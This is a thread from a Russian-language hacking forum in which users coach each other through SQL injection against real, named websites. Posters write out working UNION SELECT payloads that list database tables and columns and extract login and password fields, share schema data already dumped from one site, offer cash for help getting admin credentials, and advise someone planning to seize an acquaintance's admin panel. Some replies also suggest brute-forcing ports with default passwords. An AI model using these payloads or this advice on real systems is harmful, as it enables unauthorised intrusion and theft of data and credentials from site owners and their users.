почитал немного не понял , то есть не смог вытащить данные с базы. имеется sql но с помощью Havij не смог раскрутить кто поможет?

D@Gshram
03.05.2012, 01:00
Цитата:

Сообщение от FROD-ik

http://maxmob.ru/smiles.php?id=4'...S+--+&look_dir (https://hpc.name/redirector.html#http://maxmob.ru/smiles.php?id=4'+UNION+SELECT+1,2,3,table_name+fro m+INFORMATION_SCHEMA.TABLES+--+&look_dir)

дальше сам.

помогите кто-нибудь раскрутить sql. дам 150руб кто объяснит последние три шага +лог.пароль. BL 17

FROD-ik
04.05.2012, 01:00
Цитата:

Сообщение от D@Gshram

помогите кто-нибудь раскрутить sql. дам 150руб кто объяснит последние три шага +лог.пароль. BL 17

это говорит, что Вы нихера ничего не читали, а тока ждете когда за вас все сделают...
Ваши 150р. никому не нужны, уже наверно и базу слили и пароль админа получил)

rossamaha
16.05.2012, 01:00
Здравствуйте, нашел скуль на одном сайте, выполнил все действия и перешел уже почти казалось к выводу данных из колонки login,pass и тут такая хрень,

код который использовал.

source:


site.com/news.php?
id
=-14+UNION+SELECT+1,group_concat(
id
,0x3b,login,0x3b,pass),3,4,5,6,7,8+from+master_log in


Вывода на экран не было. только, ошибка вылетела

code:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/u0786019/data/www/site.com/news.php on line 122

и вместо данных получил.
{TOPTITLE}

M@ZAX@KEP
16.05.2012, 01:00
Попробуй master_login в SQL-Hex закатать.

lex1094
20.07.2012, 01:00
Подниму тему, так как возник вопрос.
Не могу определить наименование колонок одной из таблиц.
Ввожу site.com/index.php?action=price&id=-1+UNION+SELECT+1,2,3,4,group_concat(column_name),6 ,7,8,9,10,11+from+information_schema.columns+where +table_name= 0x61646d696e--
И ничего не происходит. И объясните пожалуйста, что это такое: 0x61646d696e?
Как мне правильно сделать запрос, чтобы получить информацию?

M@ZAX@KEP
21.07.2012, 01:00
0x61646d696e это sql-hex. 0x просто указывает sql, что следом идёт heх строка. В данном случае там должно быть имя таблицы, колонки которой ты пытаешься узнать.

lex1094
21.07.2012, 01:00
Цитата:

Сообщение от M@ZAX@KEP

0x61646d696e это sql-hex. 0x просто указывает sql, что следом идёт heх строка. В данном случае там должно быть имя таблицы, колонки которой ты пытаешься узнать.

Всё равно не получается узнать колонки, просто ошибку выдаёт и всё. Почему так происходит?

lex1094
22.07.2012, 01:00
Вот тот самый сайт: http://www.climatelab.ru/index.php?action=price&pid=2 (https://hpc.name/redirector.html#http://www.climatelab.ru/index.php?action=price&pid=2)
Вот данные которые я уже вытянул:

Цитата:


Появившеяся цифра: 5
Текущая БД: climatea_clim
Текущий пользователь MySQL: climatea_clim@localhost
Версия MySQL: 5.1.63-cll

Таблицы:
CHARACTER_SETS
CLIENT_STATISTICS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
INDEX_STATISTICS
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TABLE_STATISTICS
THREAD_STATISTICS
TRIGGERS
USER_PRIVILEGES
USER_STATISTICS
VIEWS
climat_aqua
climat_aqua_prod
climat_catalog
climat_catalog_prod
climat_climat
climat_condit
climat_condit_prod
climat_config
climat_count
climat_news
climat_pages
climat_split

M@ZAX@KEP
22.07.2012, 01:00
Ты хочешь чтобы за тебя раскрутили или хочешь понять, в чём твоя ошибка и почему мускуль выдаёт error? Тогда тащи саму ошибку и запрос, с которым её получил.

M@ZAX@KEP
22.07.2012, 01:00
Экстрасенсов нет. Тащи ошибку.

lex1094
23.07.2012, 01:00
Цитата:

Сообщение от M@ZAX@KEP

Ты хочешь чтобы за тебя раскрутили или хочешь понять, в чём твоя ошибка и почему мускуль выдаёт error?

Я хочу понять в чём моя ошибка. Мне бы расписать что я делаю не так и показать пример, как нужно делать правильно, раскручивать за меня я не прошу.

beknazar
24.07.2012, 01:00
http://www.climatelab.ru/index.php?a...chema.tables-- (https://hpc.name/redirector.html#http://www.climatelab.ru/index.php?action=price&pid=-2+union+select+1,2,3,4,5,6,7,group_concat(table_na me),9,10,11+from+information_schema.tables--) Вот раскрученная до вывода таблиц.

Ixacker
11.08.2012, 01:00
Нашел тут один сайтик, зашел в админку. Надо теперь слить БД. Админка странная.

Protocoler
13.08.2012, 01:00
Подскажите пожалуйста, а как ставить кавычку или вообще искать иньекцию в таком виде ЮРЛ ?

code:

http://www.ozon.ru/context/detail/id/1687140/

de.p0is0n
13.08.2012, 01:00
Цитата:

Сообщение от Protocoler

Подскажите пожалуйста, а как ставить кавычку или вообще искать иньекцию в таком виде ЮРЛ ?

code:

http://www.ozon.ru/context/detail/id/1687140'/

В таком виде можно найти уязвимость.

Protocoler
13.08.2012, 01:00
а, значит я правильно пробовал. спасибо !

Ultromarin
04.06.2013, 01:00
Здравствуйте уважаемые форумчане!
Я тут не давно на вашем сайте и по этому не знаю всех тонкостей данных действий по SQL,но хотел бы научится!У меня знакомый держит внутрисетевой сайт и я хочу у него угнать админку(ради шутки),подскажите с чего начать?Мануал почитал вроде понял но почему то не получается найти ошибку,выкидывает на белую страницу на которой пишется следующее:
1.Forbidden
You don't have permission to access /index.php" on this server.

2.Hacking attempt! и т.д. сайт: http://sector27.ru (https://hpc.name/redirector.html#http://sector27.ru)

Подскажите пожалуйста начинающему кому не трудно,можно в лс что бы не флудить,буду благодарен!

de.p0is0n
04.06.2013, 01:00
Цитата:

Сообщение от Ultromarin

Здравствуйте уважаемые форумчане!
Я тут не давно на вашем сайте и по этому не знаю всех тонкостей данных действий по SQL,но хотел бы научится!У меня знакомый держит внутрисетевой сайт и я хочу у него угнать админку(ради шутки),подскажите с чего начать?Мануал почитал вроде понял но почему то не получается найти ошибку,выкидывает на белую страницу на которой пишется следующее:
1.Forbidden
You don't have permission to access /index.php" on this server.

2.Hacking attempt! и т.д. сайт: http://sector27.ru (https://hpc.name/redirector.html#http://sector27.ru)

Подскажите пожалуйста начинающему кому не трудно,можно в лс что бы не флудить,буду благодарен!

Сначала посмотри на дату последнего поста.

Ultromarin
04.06.2013, 01:00
Цитата:

Сообщение от de.p0is0n

Сначала посмотри на дату последнего поста.

уважаемый и для этого надо ставить минус в репу?
а подсказать по ситуации не можете?
я думал вы адекватные люди...

Apple96
04.06.2013, 01:00
Цитата:

Сообщение от Ultromarin

2.Hacking attempt! и т.д. сайт: http://sector27.ru (https://hpc.name/redirector.html#http://sector27.ru)

Во- первых, сайт не доступен (мб это только у меня), во- вторых проверь какой стоит двигатель,
мне кажется, что это dle, проверь путь sector27.ru/admin.php, если это подтвердится, то можешь и не стараться искать уязвимость..

Ultromarin
05.06.2013, 01:00
Цитата:

Сообщение от Apple96

Во- первых, сайт не доступен (мб это только у меня), во- вторых проверь какой стоит двигатель,
мне кажется, что это dle, проверь путь sector27.ru/admin.php, если это подтвердится, то можешь и не стараться искать уязвимость..

сайт у вас не доступен по той причине что он внутрисетевой(по провайдеру),я на этом сайте гл.редактор и по ссылке которую вы написали меня выкидывает на админ панель редактора новостей,я так полагаю что админку угнать у меня не получится?

kipishnoy
05.06.2013, 01:00
Цитата:

Сообщение от Ultromarin

я так полагаю что админку угнать у меня не получится?

Не верно полагает!
Еще как получиться, нужно просто находиться в вашей подсети.

BlaIzEr
05.06.2013, 01:00
Попробуй пройтись сканером по сайту к примеру acuentix'ом , если не вывело серьезных нарушений безопасности, попробуй определить двиг сайта и поискать сплоиты под него, как вариант .

kipishnoy
05.06.2013, 01:00
Цитата:

Сообщение от BlaIzEr

Попробуй пройтись сканером по сайту к примеру acuentix'ом , если не вывело серьезных нарушений безопасности, попробуй определить двиг сайта и поискать сплоиты под него, как вариант .

Начинать нужно не с этого сканера, изначально нужно понять на чем крутится сайт. Далее нужно просканировать n-map это даст нам общие понимание. Вот уже после этих действий мы берем разного рода инструменты.
Лучше всего создать свой профиль сканирования именно для sql и xss, если сканировать acuentix'ом то можно отметь галочку скан портов, он же автоматом пробрутит их на стандартные пас:лог.

otoko212
28.07.2015, 01:00
Отлично описано, понял, что мне нужно зарегиться после этого на этом форуме поскольку есть пару сайтов для проверки.

ZyXHoResT
29.07.2015, 01:00
В Kali Linux есть 2 очень удобные программы для sql-иньекций c очень большой базой уязвимостей.

1. sqlmap
2. Metasploit

P.S. Их там больше но эти считаются самыми удобными и самыми удачными.